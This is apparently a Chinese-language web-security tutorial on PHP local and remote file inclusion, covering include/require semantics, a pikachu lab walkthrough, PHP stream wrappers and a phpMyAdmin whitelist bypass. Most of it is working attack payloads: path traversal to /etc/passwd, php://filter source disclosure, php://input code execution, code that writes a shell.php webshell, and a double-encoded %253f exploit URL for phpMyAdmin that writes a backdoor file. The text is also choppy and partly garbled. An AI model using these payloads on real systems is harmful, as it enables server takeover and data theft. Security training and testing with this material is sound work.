PHP
中,提供了: include(),include_once(), require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。
LFI
】:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。RFI
】:能够通过url
地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。web
应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。web
开发后台中,程序员往往问了提高效率或者使代码看起来更加简洁,会使用“包含”函数功能,比如把一系列功能函数都写进function.php
中,之后当某个文件需要调用的时候就直接在文件头上写上一句
就可以调用函数代码。http://172.16.132.138/fileInclude/fileinclude.php?path=smile.jpg
,打开图片,发现不是图像,而是图片源码。info.php
的后缀名改为info.rar
,依旧能够显示phpinfo()
信息,也为图片马提供了另外一种方式。使用include
引用外部文件时,只有代码执行到include
代码段时,调用的外部文件才会被引用并读取,当引用的文件发生错误时,系统只会给出个警告错误,而整个php
文件会继续执行。【先执行后加载】
在php
文件被执行之前,php
解析器会用被引用的文件的全部内容替换require
语句,然后与require
语句之外的其他语句组成个新的php
文件,最后后按新的php
文件执行程序代码。【先加载后执行】
使用include_once
会在导入文件前先检测该文件是否在该页面的其他部分被引用过,如果有,则不会重复引用该文件,程序只能引用一次。【要导入的文件中存在一些自定义函数,那么如果在同一个程序中重复导入这个文件,在第二次导入时便会发生错误,因为php
不允许相同名称的函数被重复声明】
require_once
语句是require
语句的延伸,他的功能与require
语句基本一致,不同的是,在应用require_once
时,先会检查要引用的文件是不是已将在该程序中的其他地方被引用过,如果有,则不会在重复调用该文件。【同时使用require_once
语句在同一页面中引用了两个相同的文件,那么在输出时,只有第一个文件被执行,第二个引用的文件则不会被执行】
<?php
$path=$_GET['path']
include_once("./inc.php");
echo"This is include_once.php!
";
http://172.16.132.138/fileInclude/fileinclude.php?path=info.php
http(s)
或者ftp
【文件传输协议】等方式,远程加载文件http://172.16.132.138/fileInclude/sileinclude.phppath=http://172.16.132.138/fileInclude/info.php
php.ini
配置文件中allow_url_include = On
,默认情况是off
。txt
。kobe bryant
,点击后发现url
显示为提交的是一个文件名提交至后台,后台会对致指定文件进行操作。linux
系统,因此可以尝试访问他的固定配置文件../../../../../etc/passwd
(其中../
为查看上一级目录,最终访问的是根目录),最终他的配置则会暴露出来。http://127.0.0.1/pikachu-master/vul/fileinclude/fi_local.php?filename=../../../../../..etc/passwd&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
3. 我们可以查看文件源码,用户修改文件名字,但是后端又没有做相应的处理,源码中有提示正确的写法
远程文件包含漏洞跟本次文件包含漏洞差不多,在远程包含漏洞中,攻击者可以通过访问外部地址来加载远程的代码。
远程包含漏洞前提:如果使用的是include
和require
,则需要php.ini
配置如下(php 5.4.34)
:
allow_url_fopen=on //默认打开
Allow_url_include=on //默认打开
url
中提交的是目标文件的路径。php
文件。我们只需要把filename
后的路径改为远端路径,查看后端服务器即可看到生成的一句话木马的php
文件。思路:
一、 读取敏感文件
我们可以利用文件包含漏洞,读取任意文件,读取文件的时候有利用条件
① 目标主机文件存在(目标文件的绝对路径和相对路径);
② 具有文件可读权限
提交参数?path=c:\windows\System32\drivers\etc\hosts
读取本地host文件
?path=..\..\..\..\..\windows\System 32\drivers\etc\hosts
x先返回到最上级目录即根目录er
二、 直接包含图片木马
可以利用文件包含漏洞直接包含图片木马,直接包含图片木马?path=pngYjh.png
然后使用蚁剑或者中国菜刀连接
三、包含木马写shell
可以将以下代码写入图片中
<?php
fputs (fopen("shell.php","w"),'')
?>
代码含义是:在当前目录下创建一个名为shell.php
的文件,内容是
四、 PHP封装协议——传输PHP文件
?path=php://filter/read=convert.base64-encode/recourse=inc.php //把得到的字符串使用base64解密即可
例:重定向和转发的练习题用此协议完成文件包含并获得flag。
upload-labs通关攻略中的less 11
方法2
五、 PHP封装协议——访问本次文件
使用PHP的file协议访问本次系统文件,提交参数
?path=php://c:\windows\System32\drivers\etc\hosts
六、PHP封装协议——执行PHP命令
PHP
协议因为自定义的,所以被称为伪协议。PHP
伪协议实际上是PHP
所支持的协议与封装协议,共12
种。
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs【文件传输协议】
php:// — 访问各个输入/输出流(I/O streams)
zip:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
下面着重写几种常用的协议
一、php://——访问各个输入/输出流
allow_url_fopen
,仅php://input、php://stdin、php://memory
和 php://temp
需要开启allow_url_include
且打开危害较大,需要慎重;php://
访问各个输入输入、输出流,在CTF
中经常使用的是php://filter
和php://input
,php://filter
用于读取源码,php://input
用于执行php
代码。php://filter
在php.ini
配置下,allow_url_fopen
和allow_url_include
双off
情况下也可以使用。?file=php://filter/read=convert.base64-encode/recourse=inc.php //把得到的字符串使用base64解密即可
?file=php://filter/convert.base64-encode/resource=index.php //或去掉read
php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP
代码执行。php.ini
配置中allow_url_fopen :off/on ;allow_url_include:on
POST : <?php phpinfo()?>
也可以POST如下内容生成一句话:
<?php
fputs(fopen("shell.php","w"),'');
?> //包含木马写shell
代码含义是:在当前目录下创建一个名为shell.php
的文件,内容是
二、file://——访问本地文件系统
CTF
中通常用来读取本地文件且不受allow_url_fopen
和allow_url_include
控制。?file=file://[文件的绝对路径和文件名]
http://127.0.0.1/cmd.php?file=file:///etc/passwd
三、zip://——访问压缩流
allow_url_fopen
和allow_url_include
控制。?file=zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]
http://127.0.0.1/cmd.php?file=zip:///var/www/html/shell.zip#shell.php
zip
上传,然后使用zip
协议访问,即可绕过waf
访问一句话木马,zip
协议只支持绝对路径。四、phar://——PHP归档
phar
文件,phar
文件本质上也是压缩文件,不受allow_url_fopen
和allow_url_include
控制。?file=phar://[压缩文件绝对路径/相对路径[压缩文件子文件名]
zip
协议的区别在于phar
协议可以可以使用相对路径,但它本身可引起反序列化漏洞。五、data://——数据流
allow_url_fopen :on
allow_url_include:on
六、http://——访问 HTTP(s) 网址
php.ini
的配置:allow_url_fopen :on
allow_url_include:on
http://192.168.1.1/cmd.php?file=https://www.baidu.com //即显示百度主页
../../,http://,https://
php.ini
配置文件:allow_url_fopen=off //不管开不开,本次文件包含都存在
Allow_url_include=off //远程文件包含漏洞时需要打开,打开时需要慎重,危害很大
magic_quotes_gpc=on
无需情况下设置allow_url_include
和allow_url_fopen
为关闭
../
之类的目录跳转符。
phpmyadmin
:web
端的数据库管理页面 ,只要进去,则基本上可以拿下服务器。
if (! empty($_REQUEST['target']) //传参不为空或者0
&& is_string($_REQUEST['target']) //传入的target要是一个字符串
&& ! preg_match('/^index/', $_REQUEST['target']) //传参不能为index开头
&& ! in_array($_REQUEST['target'], $target_blacklist) //传参不$target_blacklist数组中
&& Core::checkPageValidity($_REQUEST['target']) //满足Core类中的checkPageValidity函数
) {
include $_REQUEST['target'];
exit;
}
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist; //$whitelist为空则会使用白名单}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) { //$page传参在白名单中
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page); //url解码,错误核心
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
db_sql.php?/../../../aaa.txt
来绕过白名单限制进行包含文件但这种格式并不能跨路径包含,因为php
程序把?
号后面的东西当成是传入db_sql.php
文件的参数。?
经过两次编码%253f
就可以绕过白名单验证,当 %253f
传入时,首先会被自动解码一次,变成%3f
。然后urldecode()
再解码一次,就变成了 ?
,成功绕过了白名单限制。 http://127.0.0.1/phpmyadmin/index.php?target=server_binlog.php%253f/../1.php
1.php
,所以我们需要使用数据库的表结构。admin.frm
中存在一句话木马:http://127.0.0.1/phpmyadmin/index.php?target=server_binlog.php%253f/../mysql/data/test/ab.frm&123=phpinfo();
cookie
。因此,我们需要用file_put_content()
函数写一个一句话木马。root
。sql
语句查询select @@basedir
得到数据库路径。payload
为target=server_binlog.php%253F/../../../../../phpStudy/MySQL/data/gyy/gxt.frm&8=phpinfo();
11. 使用file_put_contents()
函数向目标服务器中写入木马文件。
http://wjbh522a.zs.aqlab.cn/index.php
?target=server_binlog.php%253F/../../../../../phpStudy/MySQL/data/gyy/gxt.frm
&8=file_put_contents('1.php','');